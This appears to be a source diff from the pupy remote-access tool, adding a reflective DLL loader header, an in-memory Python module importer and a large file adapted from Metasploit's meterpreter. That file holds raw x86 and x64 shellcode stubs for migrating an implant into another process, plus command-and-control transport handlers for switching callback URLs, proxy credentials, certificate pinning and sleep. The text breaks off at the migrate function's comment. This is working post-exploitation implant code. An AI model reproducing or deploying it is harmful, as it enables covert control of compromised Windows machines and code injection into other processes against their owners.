*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,204 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,88 @@
/*
For the _memimporter compiled into py2exe exe-stubs we need "Python-dynload.h".
For the standalone .pyd we need <Python.h>
*/
#ifdef STANDALONE
# include <Python.h>
# include "Python-version.h"
#else
# include "Python-dynload.h"
# include <stdio.h>
#endif
#include <windows.h>
static char module_doc[] =
"Importer which can load extension modules from memory";
//#include "MemoryModule.h"
#include "MyLoadLibrary.h"
#include "actctx.h"
static PyObject *
import_module(PyObject *self, PyObject *args)
{
char *data;
int size;
char *initfuncname;
char *modname;
char *pathname;
//HMEMORYMODULE hmem;
HMODULE hmem;
FARPROC do_init;
ULONG_PTR cookie = 0;
char *oldcontext;
/* code, initfuncname, fqmodulename, path */
if (!PyArg_ParseTuple(args, "s#sss:import_module",
&data, &size,
&initfuncname, &modname, &pathname))
return NULL;
cookie = _My_ActivateActCtx();//try some windows manifest magic...
hmem=MyLoadLibrary(pathname, data, NULL);
_My_DeactivateActCtx(cookie);
if (!hmem) {
PyErr_Format(PyExc_ImportError,
"MemoryLoadLibrary failed loading %s", pathname);
return NULL;
}
do_init = MyGetProcAddress(hmem, initfuncname);
if (!do_init) {
MyFreeLibrary(hmem);
PyErr_Format(PyExc_ImportError,
"Could not find function %s", initfuncname);
return NULL;
}
oldcontext = _Py_PackageContext;
_Py_PackageContext = modname;
do_init();
_Py_PackageContext = oldcontext;
if (PyErr_Occurred())
return NULL;
/* Retrieve from sys.modules */
return PyImport_ImportModule(modname);
}
static PyObject *
get_verbose_flag(PyObject *self, PyObject *args)
{
return PyInt_FromLong(Py_VerboseFlag);
}
static PyMethodDef methods[] = {
{ "import_module", import_module, METH_VARARGS,
"import_module(data, size, initfuncname, path) -> module" },
{ "get_verbose_flag", get_verbose_flag, METH_NOARGS,
"Return the Py_Verbose flag" },
{ NULL, NULL }, /* Sentinel */
};
DL_EXPORT(void)
init_memimporter(void)
{
Py_InitModule3("_memimporter", methods, module_doc);
}

25
client/sources/actctx.c Normal file
View File

@ -0,0 +1,25 @@
#include "actctx.h"
HANDLE PyWin_DLLhActivationContext=NULL;
PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL;
PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL;
PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL;
PFN_ADDREFACTCTX pfnAddRefActCtx=NULL;
PFN_RELEASEACTCTX pfnReleaseActCtx=NULL;
ULONG_PTR _My_ActivateActCtx()
{
ULONG_PTR ret = 0;
if (PyWin_DLLhActivationContext && pfnActivateActCtx)
if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) {
ret = 0; // no promise the failing function didn't change it!
}
return ret;
}
void _My_DeactivateActCtx(ULONG_PTR cookie)
{
if (cookie && pfnDeactivateActCtx)
if (!(*pfnDeactivateActCtx)(0, cookie)){}
}

41
client/sources/actctx.h Normal file
View File

@ -0,0 +1,41 @@
#include <windows.h>
#include <stdio.h>
#include <olectl.h>
#include <assert.h>
// Windows "Activation Context" work:
// Our .pyd extension modules are generally built without a manifest (ie,
// those included with Python and those built with a default distutils.
// This requires we perform some "activation context" magic when loading our
// extensions. In summary:
// * As our DLL loads we save the context being used.
// * Before loading our extensions we re-activate our saved context.
// * After extension load is complete we restore the old context.
// As an added complication, this magic only works on XP or later - we simply
// use the existence (or not) of the relevant function pointers from kernel32.
// See bug 4566 (http://python.org/sf/4566) for more details.
#ifdef __cplusplus
extern "C" {
#endif
typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *);
typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *);
typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR);
typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE);
typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE);
// locals and function pointers for this activation context magic.
extern HANDLE PyWin_DLLhActivationContext;
extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx;
extern PFN_ACTIVATEACTCTX pfnActivateActCtx;
extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx;
extern PFN_ADDREFACTCTX pfnAddRefActCtx;
extern PFN_RELEASEACTCTX pfnReleaseActCtx;
void _MyLoadActCtxPointers();
ULONG_PTR _My_ActivateActCtx();
void _My_DeactivateActCtx(ULONG_PTR cookie);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,828 @@
/*
This code has been taken from meterpreter and modified to be integrated into pupy.
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:
=========================================================================================
Meterpreter
-----------
Copyright (c) 2006-2013, Rapid7 Inc
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "common.h"
#include "base_inject.h"
#include "../../../config.h"
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// We force 64bit algnment for HANDLES and POINTERS in order
// to be cross compatable between x86 and x64 migration.
typedef struct _MIGRATECONTEXT
{
union
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
WSAPROTOCOL_INFO info;
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
Transport* transport = NULL;
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
TimeoutSettings timeouts = { 0 };
int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
// special case, will still leave this in here even if it's not transport related
if (sessionExpiry != 0)
{
remote->sess_expiry_time = sessionExpiry;
remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
}
if (timeouts.comms == 0)
{
timeouts.comms = remote->transport->timeouts.comms;
}
if (timeouts.retry_total == 0)
{
timeouts.retry_total = remote->transport->timeouts.retry_total;
}
if (timeouts.retry_wait == 0)
{
timeouts.retry_wait = remote->transport->timeouts.retry_wait;
}
dprintf("[CHANGE TRANS] Url: %S", transportUrl);
dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);
do
{
if (transportUrl == NULL)
{
dprintf("[CHANGE TRANS] Something was NULL");
break;
}
if (wcsncmp(transportUrl, L"tcp", 3) == 0)
{
MetsrvTransportTcp config = { 0 };
config.common.comms_timeout = timeouts.comms;
config.common.retry_total = timeouts.retry_total;
config.common.retry_wait = timeouts.retry_wait;
memcpy(config.common.url, transportUrl, sizeof(config.common.url));
transport = remote->trans_create(remote, &config.common, NULL);
}
else
{
BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0;
wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST);
wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
MetsrvTransportHttp config = { 0 };
config.common.comms_timeout = timeouts.comms;
config.common.retry_total = timeouts.retry_total;
config.common.retry_wait = timeouts.retry_wait;
wcsncpy(config.common.url, transportUrl, URL_SIZE);
if (proxy)
{
wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE);
free(proxy);
}
if (proxyUser)
{
wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE);
free(proxyUser);
}
if (proxyPass)
{
wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE);
free(proxyPass);
}
if (ua)
{
wcsncpy(config.ua, ua, UA_SIZE);
free(ua);
}
if (certHash)
{
memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE);
// No need to free this up as it's not a wchar_t
}
transport = remote->trans_create(remote, &config.common, NULL);
}
// tell the server dispatch to exit, it should pick up the new transport
result = ERROR_SUCCESS;
} while (0);
*transportBufer = transport;
return result;
}
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = NULL;
do
{
response = packet_create_response(packet);
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Add the session timeout to the top level
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
Transport* current = remote->transport;
Transport* first = remote->transport;
do
{
Packet* transportGroup = packet_create_group();
if (!transportGroup)
{
// bomb out, returning what we have so far.
break;
}
dprintf("[DISPATCH] Adding URL %S", current->url);
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url);
dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms);
dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total);
dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait);
if (current->type != METERPRETER_TRANSPORT_SSL)
{
HttpTransportContext* ctx = (HttpTransportContext*)current->ctx;
dprintf("[DISPATCH] Transport is HTTP/S");
if (ctx->ua)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua);
}
if (ctx->proxy)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy);
}
if (ctx->proxy_user)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user);
}
if (ctx->proxy_pass)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass);
}
if (ctx->cert_hash)
{
packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
}
}
packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup);
current = current->next_transport;
} while (first != current);
} while (0);
if (response)
{
packet_transmit_response(result, remote, response);
}
return result;
}
BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result)
{
dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport);
if (remote->transport == remote->transport->next_transport)
{
dprintf("[DISPATCH] Transports are the same, don't do anything");
// if we're switching to the same thing, don't bother.
*result = ERROR_INVALID_FUNCTION;
}
else
{
dprintf("[DISPATCH] Transports are different, perform the switch");
remote->next_transport = remote->transport->next_transport;
*result = ERROR_SUCCESS;
}
packet_transmit_empty_response(remote, packet, *result);
return *result == ERROR_SUCCESS ? FALSE : TRUE;
}
BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result)
{
dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport);
if (remote->transport == remote->transport->prev_transport)
{
dprintf("[DISPATCH] Transports are the same, don't do anything");
// if we're switching to the same thing, don't bother.
*result = ERROR_INVALID_FUNCTION;
}
else
{
dprintf("[DISPATCH] Transports are different, perform the switch");
remote->next_transport = remote->transport->prev_transport;
*result = ERROR_SUCCESS;
}
packet_transmit_empty_response(remote, packet, *result);
return *result == ERROR_SUCCESS ? FALSE : TRUE;
}
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
// make sure we are not trying to remove the last transport
if (remote->transport == remote->transport->prev_transport)
{
dprintf("[DISPATCH] Refusing to delete the last transport");
result = ERROR_INVALID_FUNCTION;
}
else
{
Transport* found = NULL;
Transport* transport = remote->transport;
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
do
{
if (wcscmp(transportUrl, transport->url) == 0)
{
found = transport;
break;
}
transport = transport->next_transport;
} while (transport != remote->transport);
if (found == NULL || found == remote->transport)
{
dprintf("[DISPATCH] Transport not found, or attempting to remove current");
// if we don't have a valid transport, or they're trying to remove the
// existing one, then bomb out (that might come later)
result = ERROR_INVALID_PARAMETER;
}
else
{
remote->trans_remove(remote, found);
dprintf("[DISPATCH] Transport removed");
}
SAFE_FREE(transportUrl);
}
packet_transmit_empty_response(remote, packet, result);
dprintf("[DISPATCH] Response sent.");
return result;
}
DWORD remote_request_core_transport_add(Remote* remote, Packet* packet)
{
Transport* transport = NULL;
DWORD result = create_transport_from_request(remote, packet, &transport);
packet_transmit_empty_response(remote, packet, result);
return result;
}
BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result)
{
// we'll reuse the comm timeout TLV for this purpose
DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
dprintf("[DISPATCH] request received to sleep for %u seconds", seconds);
// to sleep, we simply jump to the same transport, with a delay
remote->next_transport_wait = seconds;
remote->next_transport = remote->transport;
packet_transmit_empty_response(remote, packet, ERROR_SUCCESS);
*result = ERROR_SUCCESS;
// exit out of the dispatch loop
return FALSE;
}
BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result)
{
Transport* transport = NULL;
*result = create_transport_from_request(remote, packet, &transport);
packet_transmit_empty_response(remote, packet, *result);
if (*result == ERROR_SUCCESS)
{
remote->next_transport = transport;
// exit out of the dispatch loop.
return FALSE;
}
return TRUE;
}
/*!
* @brief Set the current hash that is used for SSL certificate verification.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
*/
DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response;
do
{
response = packet_create_response(packet);
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// no setting of the cert hash if the target isn't a HTTPS transport
if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS)
{
result = ERROR_BAD_ENVIRONMENT;
break;
}
unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
// Support adding a new cert hash if one doesn't exist
if (!ctx->cert_hash)
{
if (certHash)
{
PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE);
if (!newHash)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memcpy(newHash, certHash, CERT_HASH_SIZE);
// Set it at the last minute. Mucking with "globals" and all, want to make sure we
// don't set it too early.. just in case.
ctx->cert_hash = newHash;
}
else
{
// at this time, don't support overwriting of the existing hash
// as that will cause issues!
result = ERROR_BAD_ARGUMENTS;
break;
}
}
// support removal of the existing hash
else
{
if (certHash)
{
result = ERROR_BAD_ARGUMENTS;
break;
}
else
{
SAFE_FREE(ctx->cert_hash);
}
}
result = ERROR_SUCCESS;
} while (0);
if (response)
{
packet_transmit_response(result, remote, response);
}
return result;
}
/*!
* @brief Get the current hash that is used for SSL certificate verification.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
*/
DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response;
do
{
response = packet_create_response(packet);
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Rather than error out if the transport isn't HTTPS, we'll just return
// an empty response. This prevents a horrible error appearing in the
// MSF console
if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS)
{
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
if (ctx->cert_hash)
{
packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
}
}
result = ERROR_SUCCESS;
} while (0);
if (response)
{
packet_transmit_response(result, remote, response);
}
return result;
}
/*!
* @brief Migrate the meterpreter server from the current process into another process.
